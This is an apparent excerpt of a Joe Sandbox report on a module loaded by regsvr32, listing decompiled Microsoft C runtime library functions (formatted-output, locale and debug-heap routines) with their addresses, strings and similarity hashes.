0x7fef9d34c73
0x7fef9d34c77
0x7fef9d34c7c
0x7fef9d34c81
0x7fef9d34c8a
0x7fef9d34c8f
0x7fef9d34c97
0x7fef9d34c9c
0x7fef9d34ca4
0x7fef9d34cac
0x7fef9d34cb4
0x7fef9d34cbc
0x7fef9d34cc1
0x7fef9d34ccd

Strings

RCC, xrefs: 000007FEF9D349D8
MOC, xrefs: 000007FEF9D349C8

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: MOC$RCC
API String ID: 0-2084237596
Opcode ID: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction ID: 969568d65f9d334bdbb71439fdfa9ac9293f65c07e2bfce327525da45f7ede8f
Opcode Fuzzy Hash: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction Fuzzy Hash: FA91193260DB8582DAA4DB55E49077EB3A0F7C4785F214526EACE83BA9CF3DE041CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29C10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

__updatetmbcinfo.LIBCMTD ref: 000007FEF9D29C2F

Part of subcall function 000007FEF9D29B10: _unlock.LIBCMTD ref: 000007FEF9D29BD9

Part of subcall function 000007FEF9D29F20: GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
Part of subcall function 000007FEF9D29F20: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74

_unlock.LIBCMTD ref: 000007FEF9D29EC8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c, xrefs: 000007FEF9D29C73

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale_unlock$UpdateUpdate::~___updatetmbcinfo
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c
API String ID: 4112623284-4095683531
Opcode ID: 587d7c63c2f280d76f00a5a6279b212f57539b6122539f303ec6642172553049
Instruction ID: b519865c658f5b17901cea146d1bd99b4d455d983c8f9f0677e22a9713547b35
Opcode Fuzzy Hash: 587d7c63c2f280d76f00a5a6279b212f57539b6122539f303ec6642172553049
Instruction Fuzzy Hash: 8E911D3661DB8586E7A08B19E98036E77E0F388798F654236EACD477B8CB3DD541CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6F8(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t217;
				signed char _t222;
				intOrPtr _t257;
				signed int _t332;
				signed int _t333;
				signed long long _t336;
				intOrPtr* _t359;
				signed long long _t384;

				_t332 = __rax;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t333 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t336 = _a824;
				_a832 = _t336;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t336;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t217 = _a116;
				_a116 = _a116 - 1;
				if (_t217 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t217 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t222 = _a816 + _a708;
				_a816 = _t222;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t222;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t257 = _a1060;
				_a876 = _t257;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t384, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6f8
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

0, xrefs: 000007FEF9D3C739
9, xrefs: 000007FEF9D3C98F

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: 0$9
API String ID: 1967237116-1975997740
Opcode ID: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction ID: c0a57250e5e6ff09cb8cd0b3e72d4402f8dee1629557039505579d47a847bcbd
Opcode Fuzzy Hash: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction Fuzzy Hash: 1E41C87660DAC187E7B58B19E8917AEB7E4F385791F100125EBC886B98DBBDD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E70C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D3E70C(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t213;
				signed char _t218;
				void* _t249;
				intOrPtr _t257;
				signed int _t331;
				signed int _t332;
				signed long long _t335;
				intOrPtr* _t354;
				intOrPtr* _t359;
				signed long long _t389;

				_t331 = __rax;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t332 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t335 = _a1304;
				_a1312 = _t335;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t335;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t213 = _a116;
				_a116 = _a116 - 1;
				if (_t213 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t213 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t218 = _a1296 + _a1220;
				_a1296 = _t218;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t218;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t354 = _a64;
				_a1328 = _t354;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t249 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t354;
				E000007FE7FEF9D26840(_t249,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t354 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t257 = _a1504;
				_a1344 = _t257;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t389, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e70c
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785

Strings

', xrefs: 000007FEF9D3E70C
9, xrefs: 000007FEF9D3E988

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$9
API String ID: 1967237116-1823400153
Opcode ID: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction ID: 29668378713c93b892a0041d725b85e979c1ad93fe9cb8202607dd12c91b0faa
Opcode Fuzzy Hash: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction Fuzzy Hash: 0241C33660DA858AE7A18B19E8407AFB3E4F7C5752F100125E6D8C6AE8EBBDD4408F14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D3D7BF

Strings

_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D3D779
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp, xrefs: 000007FEF9D3D78E

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp
API String ID: 2480363372-1749241151
Opcode ID: 69826465c09442dd62c721ef0480ef2ecfb8ed15fa83514cc39f9f882c8ed808
Instruction ID: 19170a7b4d801314c698f141b2cab39615b7a96e1dab02ace679e734dc17c016
Opcode Fuzzy Hash: 69826465c09442dd62c721ef0480ef2ecfb8ed15fa83514cc39f9f882c8ed808
Instruction Fuzzy Hash: BD113D7AA2868686EBE49B94D841B6D63E1F781795F605036E68E43BA4CB3DE404CB01

Uniqueness

Uniqueness Score: -1.00%

